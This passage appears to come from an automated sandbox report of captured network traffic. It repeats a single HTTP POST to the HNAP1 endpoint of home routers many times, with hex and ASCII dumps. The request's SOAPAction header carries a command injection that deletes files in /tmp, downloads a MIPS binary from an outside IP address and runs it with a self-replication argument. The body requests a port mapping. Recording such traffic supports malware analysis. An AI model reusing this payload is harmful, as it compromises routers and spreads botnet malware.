6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 